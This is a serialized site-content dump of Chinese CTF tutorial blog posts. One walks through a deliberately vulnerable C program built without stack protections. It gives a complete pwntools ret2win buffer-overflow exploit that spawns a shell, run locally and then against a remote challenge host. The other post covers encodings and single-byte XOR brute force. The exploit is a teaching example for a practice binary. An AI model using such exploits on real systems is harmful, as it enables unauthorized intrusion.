0);\n",[32,2537,2538],{"class":34,"line":236},[32,2539,2540],{},"    puts(\"Hello, what's your name?\");\n",[32,2542,2543],{"class":34,"line":242},[32,2544,2545],{},"    vuln();\n",[32,2547,2548],{"class":34,"line":248},[32,2549,2550],{},"    puts(\"Bye!\");\n",[32,2552,2553],{"class":34,"line":628},[32,2554,2555],{},"    return 0;\n",[32,2557,2558],{"class":34,"line":633},[32,2559,2498],{},[15,2561,2562],{},"编译（关闭金丝雀和 PIE，方便入门）：",[22,2564,2566],{"className":77,"code":2565,"language":79,"meta":27,"style":27},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[29,2567,2568,2588,2594],{"__ignoreMap":27},[32,2569,2570,2573,2576,2579,2582,2585],{"class":34,"line":35},[32,2571,2572],{"class":86},"gcc",[32,2574,2575],{"class":1016}," -o",[32,2577,2578],{"class":90}," vuln",[32,2580,2581],{"class":90}," vuln.c",[32,2583,2584],{"class":1016}," -fno-stack-protector",[32,2586,2587],{"class":1016}," -no-pie\n",[32,2589,2590],{"class":34,"line":41},[32,2591,2593],{"class":2592},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[32,2595,2596],{"class":34,"line":47},[32,2597,2598],{"class":2592},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,2600,2602],{"id":2601},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,2604,2605,2607],{},[138,2606,140],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,2609,2610,2612],{},[138,2611,146],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,2614,1208],{},[22,2616,2618],{"className":77,"code":2617,"language":79,"meta":27,"style":27},"pwn checksec ./vuln\n",[29,2619,2620],{"__ignoreMap":27},[32,2621,2622,2625,2628],{"class":34,"line":35},[32,2623,2624],{"class":86},"pwn",[32,2626,2627],{"class":90}," checksec",[32,2629,2630],{"class":90}," ./vuln\n",[15,2632,1224],{},[22,2634,2637],{"className":2635,"code":2636,"language":110,"meta":27},[108],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[29,2638,2636],{"__ignoreMap":27},[15,2640,2641],{},"只看三行：",[732,2643,2644,2656],{},[735,2645,2646],{},[738,2647,2648,2651,2653],{},[741,2649,2650],{},"行",[741,2652,1543],{},[741,2654,2655],{},"对我们意味着什么",[748,2657,2658,2671,2684],{},[738,2659,2660,2665,2668],{},[753,2661,2662],{},[29,2663,2664],{},"Stack: No canary found",[753,2666,2667],{},"没有栈金丝雀",[753,2669,2670],{},"可以直接覆盖返回地址",[738,2672,2673,2678,2681],{},[753,2674,2675],{},[29,2676,2677],{},"NX: NX enabled",[753,2679,2680],{},"栈不可执行",[753,2682,2683],{},"不能放 shellcode（本阶段先不管）",[738,2685,2686,2691,2694],{},[753,2687,2688],{},[29,2689,2690],{},"PIE: No PIE",[753,2692,2693],{},"程序地址固定",[753,2695,2696,2699],{},[29,2697,2698],{},"win"," 的地址可以直接写进 payload",[10,2701,2703],{"id":2702},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,2705,2706,2709],{},[29,2707,2708],{},"vuln"," 被调用时栈上自低到高：",[22,2711,2714],{"className":2712,"code":2713,"language":110,"meta":27},[108],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[29,2715,2713],{"__ignoreMap":27},[15,2717,2718,2719,2722],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[29,2720,2721],{},"cyclic"," 验证：",[22,2724,2726],{"className":24,"code":2725,"language":26,"meta":27,"style":27},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[29,2727,2728,2733,2737,2742,2747,2752,2757,2762,2767,2772,2777,2782,2787],{"__ignoreMap":27},[32,2729,2730],{"class":34,"line":35},[32,2731,2732],{},"from pwn import *\n",[32,2734,2735],{"class":34,"line":41},[32,2736,197],{"emptyLinePlaceholder":196},[32,2738,2739],{"class":34,"line":47},[32,2740,2741],{},"p = process('./vuln')\n",[32,2743,2744],{"class":34,"line":53},[32,2745,2746],{},"p.sendline(cyclic(200))\n",[32,2748,2749],{"class":34,"line":175},[32,2750,2751],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[32,2753,2754],{"class":34,"line":181},[32,2755,2756],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[32,2758,2759],{"class":34,"line":187},[32,2760,2761],{},"p.wait()\n",[32,2763,2764],{"class":34,"line":193},[32,2765,2766],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[32,2768,2769],{"class":34,"line":200},[32,2770,2771],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[32,2773,2774],{"class":34,"line":206},[32,2775,2776],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[32,2778,2779],{"class":34,"line":212},[32,2780,2781],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[32,2783,2784],{"class":34,"line":218},[32,2785,2786],{},"print(offset)\n",[32,2788,2789],{"class":34,"line":224},[32,2790,2791],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,2793,1224,2794,320],{},[29,2795,2796],{},"40",[10,2798,2800],{"id":2799},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[283,2802,2804],{"id":2803},"api-1elf读符号地址","API 1：ELF——读符号地址",[22,2806,2808],{"className":24,"code":2807,"language":26,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[29,2809,2810,2814,2818,2823,2828,2833,2838],{"__ignoreMap":27},[32,2811,2812],{"class":34,"line":35},[32,2813,2732],{},[32,2815,2816],{"class":34,"line":41},[32,2817,197],{"emptyLinePlaceholder":196},[32,2819,2820],{"class":34,"line":47},[32,2821,2822],{},"elf = ELF('./vuln')\n",[32,2824,2825],{"class":34,"line":53},[32,2826,2827],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[32,2829,2830],{"class":34,"line":175},[32,2831,2832],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[32,2834,2835],{"class":34,"line":181},[32,2836,2837],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[32,2839,2840],{"class":34,"line":187},[32,2841,2842],{},"print(hex(elf.symbols['win']))\n",[15,2844,1224],{},[22,2846,2849],{"className":2847,"code":2848,"language":110,"meta":27},[108],"0x401176\n",[29,2850,2848],{"__ignoreMap":27},[283,2852,2854],{"id":2853},"api-2process启动程序","API 2：process——启动程序",[22,2856,2857],{"className":24,"code":2741,"language":26,"meta":27,"style":27},[29,2858,2859],{"__ignoreMap":27},[32,2860,2861],{"class":34,"line":35},[32,2862,2741],{},[15,2864,2865,2866,66,2869,2872],{},"启动本地进程，之后用 ",[29,2867,2868],{},"p.sendline()",[29,2870,2871],{},"p.recvuntil()"," 交互。远程题目改成：",[22,2874,2876],{"className":24,"code":2875,"language":26,"meta":27,"style":27},"p = remote('1.2.3.4', 10001)\n",[29,2877,2878],{"__ignoreMap":27},[32,2879,2880],{"class":34,"line":35},[32,2881,2875],{},[283,2883,2885],{"id":2884},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[22,2887,2889],{"className":24,"code":2888,"language":26,"meta":27,"style":27},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[29,2890,2891,2896,2901,2906,2911,2916,2921,2926],{"__ignoreMap":27},[32,2892,2893],{"class":34,"line":35},[32,2894,2895],{},"payload = b'A' * 40 + p64(0x401176)\n",[32,2897,2898],{"class":34,"line":41},[32,2899,2900],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[32,2902,2903],{"class":34,"line":47},[32,2904,2905],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[32,2907,2908],{"class":34,"line":53},[32,2909,2910],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[32,2912,2913],{"class":34,"line":175},[32,2914,2915],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[32,2917,2918],{"class":34,"line":181},[32,2919,2920],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[32,2922,2923],{"class":34,"line":187},[32,2924,2925],{},"p.sendline(payload)\n",[32,2927,2928],{"class":34,"line":193},[32,2929,2930],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,2932,2933,2936,2937,2939],{},[29,2934,2935],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[29,2938,431],{}," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,2941,2943],{"id":2942},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,2945,2946,2948],{},[138,2947,140],{},"：把前三步串成完整 exploit。",[15,2950,2951,2953],{},[138,2952,146],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[22,2955,2957],{"className":24,"code":2956,"language":26,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[29,2958,2959,2963,2967,2971,2975,2979,2984,2989,2994,2999,3003,3008,3013,3018],{"__ignoreMap":27},[32,2960,2961],{"class":34,"line":35},[32,2962,2732],{},[32,2964,2965],{"class":34,"line":41},[32,2966,197],{"emptyLinePlaceholder":196},[32,2968,2969],{"class":34,"line":47},[32,2970,2822],{},[32,2972,2973],{"class":34,"line":53},[32,2974,2741],{},[32,2976,2977],{"class":34,"line":175},[32,2978,197],{"emptyLinePlaceholder":196},[32,2980,2981],{"class":34,"line":181},[32,2982,2983],{},"p.recvuntil(b'name?')\n",[32,2985,2986],{"class":34,"line":187},[32,2987,2988],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[32,2990,2991],{"class":34,"line":193},[32,2992,2993],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[32,2995,2996],{"class":34,"line":200},[32,2997,2998],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[32,3000,3001],{"class":34,"line":206},[32,3002,2925],{},[32,3004,3005],{"class":34,"line":212},[32,3006,3007],{},"# 触发溢出：覆盖返回地址为 win。\n",[32,3009,3010],{"class":34,"line":218},[32,3011,3012],{},"p.interactive()\n",[32,3014,3015],{"class":34,"line":224},[32,3016,3017],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[32,3019,3020],{"class":34,"line":230},[32,3021,3022],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,3024,3025],{},"预期结果：",[22,3027,3030],{"className":3028,"code":3029,"language":110,"meta":27},[108],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[29,3031,3029],{"__ignoreMap":27},[15,3033,3034,3035,3038,3039,3042],{},"程序跳到了 ",[29,3036,3037],{},"win()","，执行 ",[29,3040,3041],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3044,807],{"id":806},[732,3046,3047,3057],{},[735,3048,3049],{},[738,3050,3051,3053,3055],{},[741,3052,816],{},[741,3054,819],{},[741,3056,822],{},[748,3058,3059,3085,3098],{},[738,3060,3061,3064,3083],{},[753,3062,3063],{},"pwntools",[753,3065,3066,3069,3070,2161,3072,3075,3076,3078,3079,3082],{},[29,3067,3068],{},"ELF()"," 读符号、",[29,3071,2721],{},[29,3073,3074],{},"cyclic_find"," 找偏移、",[29,3077,2935],{},"+",[29,3080,3081],{},"sendline"," 构造发送",[753,3084,843],{},[738,3086,3087,3090,3093],{},[753,3088,3089],{},"checksec",[753,3091,3092],{},"查看栈保护、NX、PIE",[753,3094,3095],{},[29,3096,3097],{},"pwn checksec ./vuln",[738,3099,3100,3103,3106],{},[753,3101,3102],{},"GDB（+pwndbg）",[753,3104,3105],{},"断点、看栈、单步",[753,3107,3108,66,3111,66,3114],{},[29,3109,3110],{},"break vuln",[29,3112,3113],{},"x/20gx $rsp",[29,3115,3116],{},"continue",[10,3118,3120],{"id":3119},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3122,888,3123,3126,3127,320],{},[29,3124,3125],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[29,3128,2708],{},[15,3130,3131],{},"第一步，本地验证：",[22,3133,3135],{"className":77,"code":3134,"language":79,"meta":27,"style":27},"python3 exploit.py\n",[29,3136,3137],{"__ignoreMap":27},[32,3138,3139,3142],{"class":34,"line":35},[32,3140,3141],{"class":86},"python3",[32,3143,3144],{"class":90}," exploit.py\n",[15,3146,3147,3148,3151,3152,3155],{},"第二步，把 ",[29,3149,3150],{},"process('./vuln')"," 改成 ",[29,3153,3154],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3157,3158,3160],{},[138,3159,140],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3162,3163,3165],{},[138,3164,1685],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[22,3167,3169],{"className":24,"code":3168,"language":26,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[29,3170,3171,3175,3179,3183,3187,3192,3197,3201,3205,3209,3214,3219],{"__ignoreMap":27},[32,3172,3173],{"class":34,"line":35},[32,3174,2732],{},[32,3176,3177],{"class":34,"line":41},[32,3178,197],{"emptyLinePlaceholder":196},[32,3180,3181],{"class":34,"line":47},[32,3182,2822],{},[32,3184,3185],{"class":34,"line":53},[32,3186,2875],{},[32,3188,3189],{"class":34,"line":175},[32,3190,3191],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[32,3193,3194],{"class":34,"line":181},[32,3195,3196],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[32,3198,3199],{"class":34,"line":187},[32,3200,197],{"emptyLinePlaceholder":196},[32,3202,3203],{"class":34,"line":193},[32,3204,2998],{},[32,3206,3207],{"class":34,"line":200},[32,3208,2925],{},[32,3210,3211],{"class":34,"line":206},[32,3212,3213],{},"p.sendline(b'cat flag')\n",[32,3215,3216],{"class":34,"line":212},[32,3217,3218],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[32,3220,3221],{"class":34,"line":218},[32,3222,3012],{},[15,3224,1224],{},[22,3226,3229],{"className":3227,"code":3228,"language":110,"meta":27},[108],"flag{ret2win}\n",[29,3230,3228],{"__ignoreMap":27},[10,3232,1042],{"id":1041},[15,3234,3235,3236,3238,3239,3241,3242,3244],{},"Pwn 入门主线：",[29,3237,3089],{}," 判断能不能直接打 → ",[29,3240,2721],{}," 确定偏移 → ",[29,3243,2935],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1051,3246,3247],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":27,"searchDepth":41,"depth":41,"links":3249},[3250,3251,3252,3253,3254,3255,3256,3257,3258,3259],{"id":2410,"depth":47,"text":2411},{"id":73,"depth":47,"text":74},{"id":2457,"depth":47,"text":2458},{"id":2601,"depth":47,"text":2602},{"id":2702,"depth":47,"text":2703},{"id":2799,"depth":47,"text":2800},{"id":2942,"depth":47,"text":2943},{"id":806,"depth":47,"text":807},{"id":3119,"depth":47,"text":3120},{"id":1041,"depth":47,"text":1042},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1069,"image":3262,"alt":3263,"tags":3264,"published":196},"/blogs-img/blog2.png","CTF Pwn 入门",[1073,2624,1076],"/blogs/ctf-pwn-overview",{"title":2405,"description":3260},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":3270,"title":3271,"body":3272,"description":4251,"extension":1067,"meta":4252,"navigation":196,"ogImage":4253,"path":4256,"seo":4257,"stem":4258,"__hash__":4259},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":3273,"toc":4241},[3274,3278,3281,3349,3352,3438,3440,3446,3449,3473,3475,3481,3483,3499,3507,3511,3522,3526,3531,3575,3577,3583,3587,3592,3605,3679,3681,3687,3693,3697,3703,3734,3738,3741,3805,3807,3813,3817,3821,3824,3828,3833,3838,3879,3883,4003,4005,4011,4021,4023,4027,4030,4068,4072,4101,4105,4108,4137,4139,4145,4149,4152,4157,4160,4168,4227,4229,4234,4236,4239],[10,3275,3277],{"id":3276},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,3279,3280],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[732,3282,3283,3296],{},[735,3284,3285],{},[738,3286,3287,3290,3293],{},[741,3288,3289],{},"编码",[741,3291,3292],{},"现实应用",[741,3294,3295],{},"例子",[748,3297,3298,3315,3334],{},[738,3299,3300,3303,3306],{},[753,3301,3302],{},"Base64",[753,3304,3305],{},"邮件附件（MIME）、JWT 令牌、Data URI",[753,3307,3308,3311,3312],{},[29,3309,3310],{},"ZmxhZw=="," → ",[29,3313,3314],{},"flag",[738,3316,3317,3320,3327],{},[753,3318,3319],{},"Hex",[753,3321,3322,3323,3326],{},"颜色值 ",[29,3324,3325],{},"#FF0000","、MAC 地址、哈希摘要",[753,3328,3329,3311,3332],{},[29,3330,3331],{},"666c6167",[29,3333,3314],{},[738,3335,3336,3339,3342],{},[753,3337,3338],{},"URL 编码",[753,3340,3341],{},"浏览器地址栏中的中文与特殊字符",[753,3343,3344,3311,3347],{},[29,3345,3346],{},"%66%6c%61%67",[29,3348,3314],{},[15,3350,3351],{},"先运行最小的解码例子：",[22,3353,3355],{"className":24,"code":3354,"language":26,"meta":27,"style":27},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[29,3356,3357,3362,3367,3371,3376,3381,3386,3390,3395,3400,3405,3409,3414,3419,3424,3428,3433],{"__ignoreMap":27},[32,3358,3359],{"class":34,"line":35},[32,3360,3361],{},"import base64\n",[32,3363,3364],{"class":34,"line":41},[32,3365,3366],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[32,3368,3369],{"class":34,"line":47},[32,3370,197],{"emptyLinePlaceholder":196},[32,3372,3373],{"class":34,"line":53},[32,3374,3375],{},"print(base64.b64encode(b\"flag\"))\n",[32,3377,3378],{"class":34,"line":175},[32,3379,3380],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[32,3382,3383],{"class":34,"line":181},[32,3384,3385],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[32,3387,3388],{"class":34,"line":187},[32,3389,197],{"emptyLinePlaceholder":196},[32,3391,3392],{"class":34,"line":193},[32,3393,3394],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[32,3396,3397],{"class":34,"line":200},[32,3398,3399],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[32,3401,3402],{"class":34,"line":206},[32,3403,3404],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[32,3406,3407],{"class":34,"line":212},[32,3408,197],{"emptyLinePlaceholder":196},[32,3410,3411],{"class":34,"line":218},[32,3412,3413],{},"print(bytes.fromhex(\"666c6167\"))\n",[32,3415,3416],{"class":34,"line":224},[32,3417,3418],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[32,3420,3421],{"class":34,"line":230},[32,3422,3423],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[32,3425,3426],{"class":34,"line":236},[32,3427,197],{"emptyLinePlaceholder":196},[32,3429,3430],{"class":34,"line":242},[32,3431,3432],{},"print(b\"flag\".hex())\n",[32,3434,3435],{"class":34,"line":248},[32,3436,3437],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3439,254],{},[22,3441,3444],{"className":3442,"code":3443,"language":110,"meta":27},[108],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[29,3445,3443],{"__ignoreMap":27},[15,3447,3448],{},"URL 编码：",[22,3450,3452],{"className":24,"code":3451,"language":26,"meta":27,"style":27},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[29,3453,3454,3459,3463,3468],{"__ignoreMap":27},[32,3455,3456],{"class":34,"line":35},[32,3457,3458],{},"from urllib.parse import quote, unquote\n",[32,3460,3461],{"class":34,"line":41},[32,3462,197],{"emptyLinePlaceholder":196},[32,3464,3465],{"class":34,"line":47},[32,3466,3467],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[32,3469,3470],{"class":34,"line":53},[32,3471,3472],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,3474,254],{},[22,3476,3479],{"className":3477,"code":3478,"language":110,"meta":27},[108],"%E4%BD%A0%E5%A5%BD\nflag\n",[29,3480,3478],{"__ignoreMap":27},[10,3482,74],{"id":73},[22,3484,3485],{"className":77,"code":78,"language":79,"meta":27,"style":27},[29,3486,3487],{"__ignoreMap":27},[32,3488,3489,3491,3493,3495,3497],{"class":34,"line":35},[32,3490,87],{"class":86},[32,3492,91],{"class":90},[32,3494,94],{"class":90},[32,3496,97],{"class":90},[32,3498,100],{"class":90},[15,3500,3501,3502],{},"浏览器打开 CyberChef（",[441,3503,3506],{"href":3504,"rel":3505},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[445],"https://gchq.github.io/CyberChef）。",[10,3508,3510],{"id":3509},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3512,3513,3514,3517,3518,3521],{},"异或的性质：",[29,3515,3516],{},"A ^ B = C","，且 ",[29,3519,3520],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[283,3523,3525],{"id":3524},"_31-加密","3.1 加密",[15,3527,3528,3530],{},[138,3529,140],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[22,3532,3534],{"className":24,"code":3533,"language":26,"meta":27,"style":27},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[29,3535,3536,3541,3546,3550,3555,3560,3565,3570],{"__ignoreMap":27},[32,3537,3538],{"class":34,"line":35},[32,3539,3540],{},"plain = b\"flag{xor_is_easy}\"\n",[32,3542,3543],{"class":34,"line":41},[32,3544,3545],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[32,3547,3548],{"class":34,"line":47},[32,3549,197],{"emptyLinePlaceholder":196},[32,3551,3552],{"class":34,"line":53},[32,3553,3554],{},"cipher = bytes([b ^ key for b in plain])\n",[32,3556,3557],{"class":34,"line":175},[32,3558,3559],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[32,3561,3562],{"class":34,"line":181},[32,3563,3564],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[32,3566,3567],{"class":34,"line":187},[32,3568,3569],{},"print(cipher.hex())\n",[32,3571,3572],{"class":34,"line":193},[32,3573,3574],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3576,254],{},[22,3578,3581],{"className":3579,"code":3580,"language":110,"meta":27},[108],"242e2325393a2d301d2b311d2723313b3f\n",[29,3582,3580],{"__ignoreMap":27},[283,3584,3586],{"id":3585},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,3588,3589,3591],{},[138,3590,140],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,3593,3594,3596,3597,3600,3601,3604],{},[138,3595,146],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[29,3598,3599],{},"flag{"," 开头，这就是天然的判据。用 ",[29,3602,3603],{},"b\"flag{\" in plain"," 过滤即可。",[22,3606,3608],{"className":24,"code":3607,"language":26,"meta":27,"style":27},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[29,3609,3610,3615,3620,3624,3629,3634,3639,3644,3649,3654,3659,3664,3669,3674],{"__ignoreMap":27},[32,3611,3612],{"class":34,"line":35},[32,3613,3614],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[32,3616,3617],{"class":34,"line":41},[32,3618,3619],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[32,3621,3622],{"class":34,"line":47},[32,3623,197],{"emptyLinePlaceholder":196},[32,3625,3626],{"class":34,"line":53},[32,3627,3628],{},"for k in 